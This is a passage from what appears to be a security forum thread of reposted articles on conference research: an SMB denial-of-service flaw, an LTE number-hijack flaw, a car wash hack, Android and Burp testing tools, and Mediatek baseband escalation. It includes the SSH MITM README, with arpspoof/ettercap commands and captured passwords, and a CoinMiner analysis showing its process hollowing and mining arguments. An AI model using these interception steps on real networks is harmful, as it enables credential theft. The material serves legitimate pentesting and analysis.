activity, revealing coordinated attacks. In all of its operations, DefPloreX keeps the amount of memory used to the bare minimum without sacrificing performance. DefPloreX works well on a simple laptop but can scale up when more computing resources are available. Figures 8-11. Example of DefPloreX usage (Click to enlarge) Public Release Following our talk at this year’s Black USA Arsenal in Las Vegas on July 27, we released part of DefPloreX under FreeBSD License on Github. The released toolkit consists of a framework library for large-scale computation of Elasticsearch’s records. A copy of our presentation may be found here. Sursa: http://blog.trendmicro.com/trendlabs-security-intelligence/defplorex-machine-learning-toolkit-large-scale-ecrime-forensics/
-
BadIntent Introduction BadIntent is the missing link between the Burp Suite and the core Android's IPC/Messaging-system. BadIntent consists of two parts, an Xposed-based module running on Android and a Burp-plugin. Based on this interplay, it is possible to use the Burp's common workflow and all involved tools and extensions, since the intercept and repeater functionality is provided. BadIntent hooks deeply into the Android system, performs various method redirections in Parcels and adds additional services to provide the described features. Most notably, BadIntent works system-wide (experimental) and is not restricted to individual user apps. BadIntent can used to perform various pentesting activities such as the following examples: identifying insecure logging, access control issues, pasteboard vulnerabilities, conduct and configure intent sniffing, brute force attacks, AIDL testing, GCM attacks, and searching for WebView vulnerabilities and finally how BadIntent can be (mis-)used as a keylogger Installation The most handy approach is to install BadIntent Android from the Xposed Module Repository and BadIntent Burp from the Burp’s BApp Store. Both are made available/submitted before the Arsenal presentation of BadIntent in Black Hat Las Vegas 2017. Xposed Repo Module BApp Store Ref Environment BadIntent has been tested on Genymotion with Xposed v87 on Android Marshmallow (6.0) and Burp Suite 1.7.23 (Free and Pro). There are known limitations in hooking all system apps and all interfaces. During the boot proccess the Android system will remain in a boot loop and you will not be able to uninstall BadIntent from your Android device. Therefore, it is strongly recommended to use the mentioned setup in case all system apps are hooked. Configuration & Usage Please refer to the wiki for more details. License BadIntent is released under a 3-clause BSD License. See LICENSE for full details. Sursa: https://github.com/mateuszk87/BadIntent
-
SMBLoris - the new SMB flaw While studying the infamous EternalBlue exploit about 2 months ago, researchers Sean Dillon (zerosum0x0) and Zach Harding (Aleph-Naught-) found a new flaw in the Server Message Block (SMB) protocol that could allow an adversary to interrupt the service by depleting the memory and CPU resources of the targeted machine on a Denial of Service (DoS) attack. Tweet used to announce the flaw [2] According to an article posted by ThreatPost [1], the flaw called SMBLoris was privately reported to Microsoft in early June, but the company considered it to be of moderate impact and that it would not be considered a security breach. In addition, it would probably not even be fixed. As announced, some bug details were presented yesterday during a presentation at DEFCON 25 in Las Vegas. The attack is similar to another called SlowLoris [4] (hence also the similarity of the name) by allowing an attacker with a single machine and low bandwidth to be able to interrupt a service through a DoS attack. The difference is that SlowLoris affected Web servers. Technically speaking, the problem occurs with the accumulation of a 4-bytes buffer called NBSS used during SMB session establishment which are allocated in the physical RAM and can not be swapped out. Triggering this, an attacker who initiates a large amount of connections to the service will be able to deplete the memory resources and after the CPU on the target. NBSS buffer details In the demonstration, an 8 GB memory server became unresponsive in a few seconds - note in the following figure the rapid increase in memory consumption during the attack. SMBLoris attack demonstration There is no update from Microsoft to fix the problem - so it has been considered a zero-day. For now, as a mitigation measure, the recommendation is to use a packet filter, like a Firewall, to limit the number of connections from a same source to the Windows servers on port 445 (SMB). References [1] https://threatpost.com/windows-smb-zero-day-to-be-disclosed-during-def-con/126927/?utm_source=kasperskysocialchannel.com&utm_medium=REAL%20Solutions%20Technologies,%20LLC&utm_campaign=kasperskysocialchannel.com [2] https://twitter.com/zerosum0x0/status/870862422327689216 [3] https://www.defcon.org/html/defcon-25/dc-25-speakers.html#Dillon [4] https://web.archive.org/web/20090822001255/http://ha.ckers.org/slowloris/ -- Renato Marinho Morphus Labs | LinkedIn | Twitter Sursa:" https://isc.sans.edu/forums/diary/SMBLoris+the+new+SMB+flaw/22662/
-
- 1
-
-
‘Ghost Telephonist’ Attack Exploits 4G LTE Flaw to Hijack Phone Numbers By Waqas on July 31, 2017 Email @hackread According to UnicornTeam, a group of Chinese researchers from country’s leading security firm 360 Technology, there is a dangerous vulnerability in 4G LTE network’s Circuit Switched Fallback (CSFB) which allows hackers to hijack cell phone numbers. Unicorn Team demonstrated the findings (PDF) on Sunday at the Black Hat USA 2017 hacker summit. As per the team of researchers, CSFB’s authentication step is missing from its procedure, which can allow easy access to hackers to the phone. At the summit, Unicorn Team created a situation where a hacker could use a stolen mobile number to reset the password of a Google account. Once the phone was hijacked, all that was required to be done was to sign in to the Google Email account and click on “Forget the Password.” Huang Lin, a wireless security researcher of the team, told Chinese news site Xinhua that this particular flaw could be exploited to carry out different kinds of hack attacks. “Several exploitations can be made based on this vulnerability – We have reported this vulnerability to the Global System for Mobile Communications Alliance(GSMA),” said Lin. We do know that Google sends a verification code to the mobile before allowing password reset. If hackers have hijacked the mobile, they could easily intercept the message and get the code to reset the account’s password. All this would take place without the knowledge of the victim, and the phone will remain online in 4G network. Since a majority of internet app accounts also use the same method for resetting the password, therefore, an attacker can easily initiate the password reset process using the phone number. Moreover, attackers can perform other actions too like starting a call or sending an SMS on behalf of the victim. Using the victim’s phone number, attackers can launch advanced attacks as well. The victim will remain clueless because neither 2G nor 4G fake base station is utilized and cell re-selection is also not conducted. Attackers sometimes target a selected victim, or they may launch an attack against a randomly chosen victim. To counter the Ghost Telephonist attack, also dubbed as the Evil Attack, various measures were proposed by the team. The team is also collaborating with operators, internet service providers and terminal manufacturers for eliminating the vulnerability. They already notified the Global System for Mobile Communications Alliance (GSMA) about this flaw. WATCH THE DEMO VIDEO BELOW Sursa: https://www.hackread.com/ghost-telephonist-attack-exploits-4g-lte-flaw-to-hijack-phone-numbers/
-
- 4
-
-
-
Car Wash Hack Can Strike Vehicle, Trap Passengers, Douse Them With Water KIM ZETTER Jul 26 2017, 5:53pm "We believe this to be the first exploit of a connected device that causes the device to physically attack someone," researchers presenting the proof-of-concept say. The security problems found in internet-enabled medical equipment and cars in recent years have raised a lot of awareness about the public safety risks of connected devices. But it's not just life-saving implements and fast-moving vehicles that pose potential harm. A group of security researchers have found vulnerabilities in internet-connected drive-through car washes that would let hackers remotely hijack the systems to physically attack vehicles and their occupants. The vulnerabilities would let an attacker open and close the bay doors on a car wash to trap vehicles inside the chamber, or strike them with the doors, damaging them and possibly injuring occupants. "We believe this to be the first exploit of a connected device that causes the device to physically attack someone," Billy Rios, the founder of Whitescope security, told Motherboard. Rios conducted the research with Jonathan Butts of QED Secure Solutions. They plan to discuss their findings this week at the Black Hat security conference in Las Vegas. Rios, working at times alone and with colleagues, has exposed many security problems over the years in drug-infusion pumps that deliver medicine to hospital patients; in airport x-ray machines designed to detect weapons; and in building systems that control electronic door locks, alarm systems, lights, elevators, and video surveillance cameras. An attacker can send an instantaneous command to close one or both doors to trap the vehicle inside, or open and close one door repeatedly to strike the vehicle a number of times as a driver tries to flee. This time his focus was on the PDQ LaserWash, a fully-automated, brushless, touchless car wash system that sprays water and wax through a mechanical arm that moves around a vehicle. PDQ car washes are popular throughout the US because they don't require attendants to operate. Many of the facilities have bay doors at the entrance and exit that can be programmed to automatically open and close at the start and end of a day, and a touchscreen menu that allows drivers to choose their cleaning package without interacting with any workers. The systems run on Windows CE and have a built-in web server that lets technicians configure and monitor them over the internet. And herein lies the problem. Rios says he became interested in the car washes after hearing from a friendabout an accident that occurred years ago when technicians misconfigured one in a way that caused the mechanical arm to strike a minivan and douse the family inside with water. The driver damaged the vehicle and car wash as he accelerated quickly to escape. A successful trip through the car wash. Researchers could not obtain permission to publish video of the hack from car wash owners. Rios and McCorkle examined the PDQ software two years ago and presented their findings about vulnerabilities at the Kaspersky Security Summit in Mexico in 2015. Although they believed the vulnerabilities would allow them to hijack a system, they weren't able to test the theory against an actual car wash until this year when a facility in Washington state agreed to cooperate, using the researchers' own pickup truck as the victim. Although the PDQ systems require a username and password to access them online, the default password is easily guessed, the researchers said. They also found a vulnerability in the implementation of the authentication process, making it possible to bypass it. Not all PDQ systems are online, but the researchers found more than 150 that were, using the Shodan search enginethat searches for devices connected to the internet, such as webcams, printers, industrial control systems, and, in this case, car washes. They could also manipulate the mechanical arm to hit the vehicle or spew water continuously, making it difficult for a trapped occupant to exit the car. They wrote a fully automated attack script that bypasses authentication, monitors when a vehicle is getting ready to exit the wash chamber and cause the exit door to strike the vehicle at the appropriate time. All an attacker has to do is choose the IP address for the car wash they want to attack, then launch the script. The car wash's software tracks where a carwash is in its cycle, making it easy to know when the wash is about to end and a vehicle to exit. An attacker can send an instantaneous command to close one or both doors to trap the vehicle inside, or open and close one door repeatedly to strike the vehicle a number of times as a driver tries to flee. Although infrared sensors detect when something is in a door's path to prevent this from happening, the researchers were able to cause the system to ignore the sensors. They could also manipulate the mechanical arm to hit the vehicle or spew water continuously, making it difficult for a trapped occupant to exit the car. They didn't try this during their live tests, however, to avoid damaging the arm. A software-based safety mechanism prevents the arm from hitting a vehicle normally, but they were able to disable this, too. "If you're relying purely on software safety, it's not going to work if there's an exploit in play," Rios said in an interview. "The only thing that's going to work [in this scenario] is hardware safety mechanisms." Although the researchers filmed the tests with a mobile phone, the car wash owner won't let them publish the video. This isn't the first time someone has hijacked a robotics system. In May, researchers at Trend Micro showed how they could recalibrate a robotic armused in manufacturing plants to alter its movement. But the car wash attack has "broader potential impact to the masses," Rios said. "There aren't actually that many things … that are in the public space… and can [be made to] hit you." The researchers reported their findings to the Department of Homeland Security and the vendor and are releasing a report this week in conjunction with their Black Hat talk. A spokesperson for PDQ told Motherboard in an email that it is "aware" of the Black Hat talk and is working on investigating and fixing the security issues with the system. "All systems—especially internet-connected ones—must be configured with security in mind," Gerald Hanrahan of PDQ wrote. "This includes ensuring that the systems are behind a network firewall, and ensuring that all default passwords have been changed. Our technical support team is standing ready to discuss these issues with any of our customers." Get six of our favorite Motherboard stories every day by signing up for our newsletter. Sursa: https://motherboard.vice.com/en_us/article/bjxe33/car-wash-hack-can-smash-vehicle-trap-passengers-douse-them-with-water
-
Microsoft a pus din ce in ce mai mult focus-ul pe securitate, iar vulnerabilitatile descoperite sunt din ce in ce mai putine si din ce in ce mai greu de exploatat.
-
SSH MITM v1.1 Author: Joe Testa (@therealjoetesta) Overview This penetration testing tool allows an auditor to intercept SSH connections. A patch applied to the OpenSSH v7.5p1 source code causes it to act as a proxy between the victim and their intended SSH server; all plaintext passwords and sessions are logged to disk. Of course, the victim's SSH client will complain that the server's key has changed. But because 99.99999% of the time this is caused by a legitimate action (OS re-install, configuration change, etc), many/most users will disregard the warning and continue on. NOTE: Only run the modified sshd_mitm in a VM or container! Ad-hoc edits were made to the OpenSSH sources in critical regions, with no regard to their security implications. Its not hard to imagine these edits introduce serious vulnerabilities. Change Log v1.0: May 16, 2017: Initial revision. v1.1: July 6, 2017: Removed root privilege dependencies, added automatic installer, added Kali Linux support, added JoesAwesomeSSHMITMVictimFinder.py script to find potential targets on a LAN. To Do The following list tracks areas to improve: Support SFTP MITM'ing. Print hostname, username, and password at the top of session logs. Add port forwarding support. Regex substitute the output of ssh-keygen when a user tries to check the host key hash. >:] Create wrapper script that detects when user is trying to use key authentication only, and de-spoof them automatically. Initial Setup As root, run the install.sh script. This will install prerequisites from the repositories, download the OpenSSH archive, verify its signature, compile it, and initialize a non-privileged environment to execute within. Finding Targets The JoesAwesomeSSHMITMVictimFinder.py script makes finding targets on a LAN very easy. It will ARP spoof a block of IPs and sniff for SSH traffic for a short period of time before moving on to the next block. Any ongoing SSH connections originating from devices on the LAN are reported. By default, JoesAwesomeSSHMITMVictimFinder.py will ARP spoof and sniff only 5 IPs at a time for 20 seconds before moving onto the next block of 5. These parameters can be tuned, though a trade-off exists: the more IPs that are spoofed at a time, the greater the chance you will catch an ongoing SSH connection, but also the greater the strain you will put on your puny network interface. Under too high of a load, your interface will start dropping frames, causing a denial-of-service and greatly raising suspicions (this is bad). The defaults shouldn't cause problems in most cases, though it'll take longer to find targets. The block size can be safely raised on low-utilization networks. Example: # ./JoesAwesomeSSHMITMVictimFinder.py --interface enp0s3 --ignore-ips 10.11.12.50,10.11.12.53 Found local address 10.11.12.141 and adding to ignore list. Using network CIDR 10.11.12.141/24. Found default gateway: 10.11.12.1 IP blocks of size 5 will be spoofed for 20 seconds each. The following IPs will be skipped: 10.11.12.50 10.11.12.53 10.11.12.141 Local clients: * 10.11.12.70 -> 174.129.77.155:22 * 10.11.12.43 -> 10.11.99.2:22 The above output shows that two devices on the LAN have created SSH connections (10.11.12.43 and 10.11.12.70); these can be targeted for a man-in-the-middle attack. Note, however, that in order to potentially intercept credentials, you'll have to wait for them to initiate new connections. Impatient pentesters may opt to forcefully close existing SSH sessions, prompting users to create new ones immediately... Running The Attack 1.) Once you've completed the initial setup and found a list of potential victims (see above), execute run.sh as root. This will start sshd_mitm, enable IP forwarding, and set up SSH packet interception through iptables. 2.) ARP spoof the target(s) (Protip: do NOT spoof all the things! Your puny network interface won't likely be able to handle an entire network's traffic all at once. Only spoof a couple IPs at a time): arpspoof -r -t 192.168.x.1 192.168.x.5 Alternatively, you can use the ettercap tool: ettercap -i enp0s3 -T -M arp /192.168.x.1// /192.168.x.5,192.168.x.6// 3.) Monitor auth.log. Intercepted passwords will appear here: sudo tail -f /var/log/auth.log 4.) Once a session is established, a full log of all input & output can be found in /home/ssh-mitm/session_*.txt. Sample Results Upon success, /var/log/auth.log will have lines that log the password, like this: May 16 23:14:01 showmeyourmoves sshd_mitm[16798]: INTERCEPTED PASSWORD: hostname: [10.199.30.x]; username: [jdog]; password: [supercalifragilistic] [preauth] Furthermore, the victim's entire SSH session can be found in /home/ssh-mitm/session_*.txt: # cat /home/ssh-mitm/session_0.txt Last login: Tue May 16 21:35:00 2017 from 10.50.22.x OpenBSD 6.0-stable (GENERIC.MP) #12: Sat May 6 19:08:31 EDT 2017 Welcome to OpenBSD: The proactively secure Unix-like operating system. Please use the sendbug(1) utility to report bugs in the system. Before reporting a bug, please try to reproduce it with the latest version of the code. With bug reports, please try to ensure that enough information to reproduce the problem is enclosed, and if a known fix for it exists, include that as well. jdog@jefferson ~ $ ppss PID TT STAT TIME COMMAND 59264 p0 Ss 0:00.02 -bash (bash) 52132 p0 R+p 0:00.00 ps jdog@jefferson ~ $ iidd uid=1000(jdog) gid=1000(jdog) groups=1000(jdog), 0(wheel) jdog@jefferson ~ $ sssshh jjtteessttaa@@mmaaggiiccbbooxx jtesta@magicbox's password: ROFLC0PTER!!1juan Note that the characters in the user's commands appear twice in the file because the input from the user is recorded, as well as the output from the shell (which echoes characters back). Observe that when programs like sudo and ssh temporarily disable echoing in order to read a password, duplicate characters are not logged. Developer Documentation In lol.h are two defines: DEBUG_HOST and DEBUG_PORT. Enable them and set the hostname to a test server. Now you can connect to sshd_mitm directly without using ARP spoofing in order to test your changes, e.g.: ssh -p 2222 valid_user_on_debug_host@localhost To create a new patch, use these commands: pushd openssh-7.5p1-mitm/; make clean; popd diff -ru --new-file -x '*~' -x 'config.*' -x Makefile.in -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh openssh-7.5p1 openssh-7.5p1-mitm/ > openssh-7.5p1-mitm.patch Sursa: https://github.com/jtesta/ssh-mitm
-
- 1
-
-
Brida Brida is a Burp Suite Extension that, working as a bridge between Burp Suite and Frida, lets you use and manipulate applications’ own methods while tampering the traffic exchanged between the applications and their back-end services/servers. It supports all platforms supported by Frida (Windows, macOS, Linux, iOS, Android, and QNX) Authors Piergiovanni Cipolloni, Security Advisor at @ Mediaservice.net Federico Dotta, Security Advisor at @ Mediaservice.net Contributors Maurizio Agazzini, Senior Security Advisory at @ Mediaservice.net Brida Idea This idea is a need that is born during the analysis of some mobile application that use strong symmetric cryptography using random keys, without knowing the correct secret all data was not modifiable via Burp neither with a custom plugin. More generally, applications' logic could be based on cryptographic tokens, it could use a complex challenge-response algorithm as well, and so on. How can we tamper the messages? Most of the times the only viable approach is to decompile/disassemble the application, identify the functions or methods we’re interested in AND re-implement them. This approach is obviously time consuming and not always really viable: i.e. the generation of tokens and/or the encryption routines could be based on cryptographic material strictly tied to the device (state) or stored inside protected areas and thus not directly accessible... That’s when Brida comes in handy: instead of trying to extract keys/certificates and re-writing the routines we’re interested in, why don’t we let the application do the dirty work for us? Installation Install Python 2.7 and Pyro4 (pip install pyro4) Download Burp Suite: http://portswigger.net/burp/download.html Install Brida from the BApp Store (not available yet) or follow these steps: Download the last release of Brida Open Burp -> Extender -> Extensions -> Add -> Choose BridaXX.jar file Use Brida to generate stubs for your custom extensions or use Brida directly to call Frida exported functions Sursa: https://github.com/federicodotta/Brida
-
- 1
-
-
CoinMiner 7 minutes read SHA256 of sample.exe: 98199294da32f418964fde49d623aadb795d783640b208b9dd9ad08dcac55fd5 Today I’m trying to analyze #CoinMiner, the sample is very interesting because it injects 64-bit process from a 32-bit process, also uses some anti-disassemble and anti-RE techniques. You can download the sample from hybrid-analysis. Let’s open in VM, after executing it creates folder under %LOCALAPPDATA% and writes an executable inside it, uses RunOnce reg key as persistence method, creates notepad.exe process with following arguments: -a cryptonight -o stratum+tcp://xmr-usa.dwarfpool.com:8050 -u 4JUdGzvrMFDWrUUwY3toJATSeNwjn54LkCnKBPRzDuhzi5vSepHfUckJNxRL2gjkNrSqtCoRUrEDAgRwsQvVCjZbS3d2ZdUYfaKLkAbBLe -p x -t 2. (click here to view larger version) Seem like it copies itself to %LOCALAPPDATA% folder, executes notepad.exe with arguments and injects some third-party code. That’s interesting, the malware itself is 32-bit and notepad.exe under the 64-bit system is 64-bit. Let’s dive in deep. At the beginning it decrypts embedded PE file, using the following routine: byte_882040 points to 4JUdGzvrMFDWrUUwY3toJATSeNwjn54LkCnKBPRzDuhzi5vSepHfUckJNxRL2gjkN. After decryption, it patches decrypted PE file: Decompiled version: (click here to view a larger version) After this, it manually maps decrypted PE file into the memory of the current process and jumps into it with call instruction.: It allocates space, copies headers and sections, corrects import table and relocation table: (click here to view a larger version) Start analyzing of sample2.exe which is extracted from sample.exe. We can extract decrypted file after patching. SHA256 of decrypted PE sample2.exe: f558e28553c70a0c3926c8c77e91c699baa3491922ab9cdfb29aa995138d5a08 You can download the file from hybrid-analysis. From the beginning of the executable, we see patched strings from the previous executable: Identfies %LOCALAPPDATA% folder using SHGetKnownFolderPath system call: (click here to view larger version) It allocates a buffer, writes data into it from the file and writes data from the buffer into newly created file under %LOCALAPPDATA% (click here to view larger version) Deletes Zone.Identifier of the file: According to MSDN it’s stream name and used to identify file downloaded from the internet, 3 is internet zone, for more information about ADS visit MSDN. Constructs command line arguments and starts searching for a program to inject: Based on IsWow64Process call it chooses notepad.exe or explorer.exe on x64 systems and wuapp.exe or svchost.exe on x32 systems: (click here to view a larger version) On my x64 Windows 10 there is notepad.exe under C:\Windows and it chooses notepad.exe to inject. It chooses to inject a 32-bit process or a 64-bit one based on IsWow64Process: Injecting into 32-bit process it relatively straightforward, there are our old friends GetThreadContext, ReadProcessMemory, WriteProcessMemory, SetThreadContext and ResumeThread, it’s a typical process hollowing: (click here to view larger version) But my system is 64-bit, so it chooses to inject into the 64-bit process. Checks if there is taskmgr.exe process and loops until closing it: It creates notepad.exe process with arguments: (click here to view larger version) It calls getNtdll (I renamed it), but there is an anti-disassemble technique known as Return Pointer Abuse and even IDA pro can not identify functions bounders correctly, we should change this using ALT+P and set correct end address of the function. After correcting bounders and patching call $+5; mov; retf; instructions, which are just jumping to next addresses, at some point it checks modules and gets an address of ntdll.dll, this is 64-bit dll loaded by notepad.exe. ESI:EDI contains the address of ntdll.dll, to prove this we can use vmmap: (click here to view larger version) It uses getFunction (I renamed it) to get addresses of functions exported by ntdll.dll: Inside that function it uses LdrProcedureAddress call to get address of desire function, it passes LdrProcedureAddress to call_ebp_8 function: call_ebp_8 calls function at first and second parameters (first:second), also all required parameters are pushed. this way it calls functions exported by ntdll.dll. In this case call_ebp_8 calls LdrProcedureAddress and gets address of requested function: The malware uses getNtdll to get address of 64-bit ntdll.dll, call_ebp_8 to call functions exported by ntdll.dll and getFunction to get addresses of desire function from ntdll.dll, getFunction uses call_ebp_8 with LdrProcedureCall as a function argument. Using this functions it calls NtGetContextThread, NtReadVirtualMemory, NtAllocateVirtualMemory, NtWriteVirtualMemory and ResumeThread, as we know this functions are essential for process hollowing. After setting of CONTEXT it resumes thread: Everything this happens in a loop, if we close notepad.exe process it creates one again. We can easily extract 32-bit and 64-bit PE files, which are injected into a target process. We can extract it before calling to NtWriteVirtualMemory: Both 32-bit and 64-bit versions are packed using UPX. After unpacking it, we can disassemble it: It’s cpuminer: A CPU miner for Litecoin, Bitcoin, and other cryptocurrencies, the application to use CPU power to compute hashes and "mine" cryptocurrency: The malware uses following arguments: -a cryptonight -o stratum+tcp://xmr-usa.dwarfpool.com:8050 -u 4JUdGzvrMFDWrUUwY3toJATSeNwjn54LkCnKBPRzDuhzi5vSepHfUckJNxRL2gjkNrSqtCoRUrEDAgRwsQvVCjZbS3d2ZdUYfaKLkAbBLe -p x -t 2 -a - specify the algorithm to use. -o - URL of mining server. -u - username. -p - password. -t - number of miner threads. The malware heavily uses anti-RE techniques which make analysis harder. I know, I overlook many things related to the malware, due to my limited knowledge, if you find something interesting please contact me. I’m new to reversing malware and any kind of feedback is helpful for me.. Twitter: @_qaz_qaz Sursa: https://secrary.com/ReversingMalware/CoinMiner/
-
Path of Least Resistance: Cellular Baseband to Application Processor Escalation on Mediatek Devices Fri, Jul 28, 2017 György Miru Intro Today’s mobile systems are composed of multiple separate, but highly interconnected processing units, each running their own code. Previous research has proven that these components, especially the wireless baseband processors, are susceptible to remote or vicinity attacks. Such exploits have been demonstrated in practice against all major baseband SoC vendors during the last few years. Compromising the baseband (modem or MD as referred to in MTK source code) is a powerful attack as it provides access to all data passing through the modem while being virtually undetectable by current protection mechanisms. Yet it has its limitations in terms of persistence and usefulness: obviously such a compromise provides no access to client side encrypted data or data transmitted through other channels. A natural next step in the evolution of these types of attacks is to elevate code execution and compromise other processing units, most importantly the application processor (AP). The advantage of attacking the AP through other components is that they can provide a less audited, less secure attack surface. The operating systems running on the application processor are usually equipped with modern defense and exploit mitigation mechanisms, which are continuously being improved, to raise the cost of exploitation. Contrary, other embedded components – such as cellular basebands that are less exposed to end users and traditional attack vectors – historically often received less scrutiny by the security community and vendors. This research aims to provide a methodology to assess and audit interfaces between the different processing units, by following a case study for the HTC One M9+ with a Mediatek chipset and assuming the compromise of the 3G modem. First, the communication channels between the modem and other components are explored and the Android kernel driver, which is responsible for the baseband firmware loading, is investigated. After the general architecture and the communication landscape is introduced, examples are provided for the vulnerability assessment of user space applications that consume data from the modem. These examples include manual investigation (dissecting the remote file system driver) and automated discovery (fuzzing the vendor RIL). Furthermore, I developed a proof of concept exploit for a path traversal vulnerability found in the remote file system driver. The PoC can be utilized to take over the Android system from the compromised baseband. I will walk you through the PoC and the steps in developing it, including the reverse engineering process of the MTK baseband firmware. Finally, in an attempt to complete the exploit chain I also explain how the object files of the baseband firmware’s GSM stack can be fuzzed. Since this research was carried out, Gal Beniamini from Google’s Project Zero published an excellent article about compromising Broadcom Wi-Fi chips and elevating access to the application processor. His work also further indicates that these are not isolated cases and not specific to certain vendors. Rather they are examples of design issues in modern (mobile) operating systems, namely that OS-es inherently trusts the intent and integrity of other processing components and do very little to defend from them. The research has been conducted during my three months internship at Comsecuris and it has proven to be an exciting introduction to the low level security concerns of mobile platforms. Here, I would like to thank Ralf-Philipp Weinmann, Nico Golde and Daniel Komaromy for this incredible opportunity and the valuable insight they have provided throughout the research. Disclosure Timeline 14/11/2016 - Vulnerability disclosed to MTK (no response after multiple requests) 14/11/2016 - Vulnerability disclosed to HTC 18/11/2016 - Vulnerability disclosed to Google (as Lava Pixel phones are also effected) 28/11/2016 - HTC confirms that they informed the vendor 06/12/2016 - HTC reports that the issue is fixed and deployed to product lines 10/02/2017 - Google asks for further clarification, no response ever since (issue is still open) I was not able to verify how Mediatek fixed the issue, whether they published the fixes to all their costumers and whether these fixes made it into fielded devices. The Mediatek Landscape The first step of the research is gathering knowledge about the baseband processor and the low level architecture of the platform. The HTC One M9+ is shipped with a MediaTek MT6795T SoC (codenamed Helio X10) that contains an octa-core application processor (Cortex A53 ARMv8) and the integrated modem CPU. Unfortunately, MTK chips received less attention from the security research community than their competitors (Qualcomm’s Snapdragon and Samsung’s Shannon chipsets), yet a quick search on the Internet provides valuable resources. There is an abundance of leaked MTK datasheets, albeit for different or older chipsets (MT6595, MT6782, etc.) and they contain a high level overview of the SoC layout. Furthermore, Markus Vervier has written an article on attacks that enable active cloning of mobile identities and provides additional details about the Mediatek modem firmware. According to the MTK documents, the modem system is composed of a DSP and an ARMv7 Cortex-R4 MCU. Both reside within the same chip as the application processor. The DSP implements the physical layer of the cellular baseband stack and is out of the scope for this post (when I talk about the modem or baseband processor I refer to the MCU). The ARMv7 core runs the baseband firmware and implements the different cellular data-link and network layer protocols. To establish the possible attack surface from the modem’s point of view, we need to discover and understand the various communication channels between the AP and MD. We also need to identify the respective software components on the AP side, which consume data from the modem. A good place to start looking is the CCCI (Cross Core Communication Interface) kernel driver, which is responsible for the management and supervision of the baseband processor as well as the data exchanges between AP and MD. The bulk of the underlying Android kernel source code, including its drivers, is publicly available. The source code can be downloaded from HTC’s website. The relevant files are located within drivers/misc/mediatek/eccci/ and drivers/misc/mediatek/[dual_]ccci/ directories as part of the kernel source tree. The CCCI driver comprises the CCIF subsystem, which contains the code to set up the low level communication interface between the application processor and the modem. This includes initializing the UART lines, which are mostly used to transmit AT commands and audio data, and setting up a shared memory region that is used to exchange data and control commands. The shared memory is divided into sub regions dedicated to certain tasks for transmitting various IPC commands, modem log entries, remote files and so on. Each of these memory regions are divided into a separate transmit and receive channel and access to these is controlled by a dedicated signal area. The signal area is used as a sort of flow or access control channel to indicate when new data is available in the shared memory buffer or when it has been received by the other party. The remainder of the CCCI driver provides unified access to these channels (including the shared memory and the UART channels) through its own ring buffer implementation. These ring buffers are exposed to the user-space Mediatek binaries through a set of character drivers providing IOCTLs system call handlers. Figure 1 depicts this architecture, including the modem side of the CCCI driver. Most of the logic regarding the management of the modem and processing of its data is implemented in the user-space applications. The kernel driver merely functions as a communication interface (as its name suggests) that controls the communication channels between the modem and the AP. Figure 1: CCCI Overview The other main responsibility of the kernel driver is the actual setup and bring-up of the baseband MCU. This task is initiated and supervised by the user-space ccci_mdinit binary, but carried out by the driver. The initial setup and first boot involves the following steps: Initialize hardware Populate the modem control structure (including the memory addresses for shared memory, modem ROM and RAM) and register callbacks Register the modem and configure its memory areas When the actual boot is triggered: The firmware image is loaded (this is going to be discussed in detail later) The modem is powered on The modem is started The MPU protection is set up The runtime data is sent to the modem Figure 2: Modem Bootup The most interesting part for us is how the memory is set up for the modem by the CCCI driver. Part of the applications processor’s physical memory is reserved for the modem to serve as a RAM, ROM, and the shared memory for the inter chip communication. The baseband firmware image is loaded into the ROM area and parts of it (mostly its data section) into the RAM. Below is a code snippet of how the modem handler and the memory protection is set up for these regions (the actual protection flags will be discussed later). void ccci_config_modem(struct ccci_modem *md) { //... // Get memory info get_md_resv_mem_info(md->index, &md_resv_mem_addr, &md_resv_mem_size, &md_resv_smem_addr, &md_resv_smem_size); // setup memory layout // MD image md->mem_layout.md_region_phy = md_resv_mem_addr; md->mem_layout.md_region_size = md_resv_mem_size; md->mem_layout.md_region_vir = ioremap_nocache(md->mem_layout.md_region_phy, MD_IMG_DUMP_SIZE); // do not remap whole region, consume too much vmalloc space // DSP image md->mem_layout.dsp_region_phy = 0; md->mem_layout.dsp_region_size = 0; md->mem_layout.dsp_region_vir = 0; // Share memory md->mem_layout.smem_region_phy = md_resv_smem_addr; md->mem_layout.smem_region_size = md_resv_smem_size; md->mem_layout.smem_region_vir = ioremap_nocache(md->mem_layout.smem_region_phy, md->mem_layout.smem_region_size); memset(md->mem_layout.smem_region_vir, 0, md->mem_layout.smem_region_size); //... } void ccci_set_mem_access_protection(struct ccci_modem *md) { //... rom_mem_phy_start = (unsigned int)md_layout->md_region_phy; rom_mem_phy_end = ((rom_mem_phy_start + img_info->size + 0xFFFF)&(~0xFFFF)) - 0x1; rw_mem_phy_start = rom_mem_phy_end + 0x1; rw_mem_phy_end = rom_mem_phy_start + md_layout->md_region_size - 0x1; shr_mem_phy_start = (unsigned int)md_layout->smem_region_phy; shr_mem_phy_end = ((shr_mem_phy_start + md_layout->smem_region_size + 0xFFFF)&(~0xFFFF)) - 0x1; CCCI_INF_MSG(md->index, TAG, "MPU Start protect MD ROM region<%d:%08x:%08x> %x\n", rom_mem_mpu_id, rom_mem_phy_start, rom_mem_phy_end, rom_mem_mpu_attr); emi_mpu_set_region_protection(rom_mem_phy_start, rom_mem_phy_end, rom_mem_mpu_id, rom_mem_mpu_attr); CCCI_INF_MSG(md->index, TAG, "MPU Start protect MD R/W region<%d:%08x:%08x> %x\n", rw_mem_mpu_id, rw_mem_phy_start, rw_mem_phy_end, rw_mem_mpu_attr); emi_mpu_set_region_protection(rw_mem_phy_start, rw_mem_phy_end, rw_mem_mpu_id, rw_mem_mpu_attr); CCCI_INF_MSG(md->index, TAG, "MPU Start protect MD Share region<%d:%08x:%08x> %x\n", shr_mem_mpu_id, shr_mem_phy_start, shr_mem_phy_end, shr_mem_mpu_attr); emi_mpu_set_region_protection(shr_mem_phy_start, shr_mem_phy_end, shr_mem_mpu_id, shr_mem_mpu_attr); //... } This kind of setup suggests that the external memory (the DRAM) is shared across the AP and MD with a multiport memory controller, but they have a different view of the memory. The interested reader can learn more about the different shared memory solutions for SoCs in this article. The baseband MCU has its own address space, however, the shared memory can be remapped on both sides to lie at the same address. In our case, the address is different: the shared memory is mapped to a constant 0x40000000 address on modem side while it remains at the original physical address on the AP side. The AP uses the offset between this physical and the remapped modem address to adjust the different pointers, written to the shared memory, as they are treated as absolute memory addresses on the modem side. In the same function the ROM is also remapped to be on the zero address for the modem. remainder = smem_offset % 0x02000000; 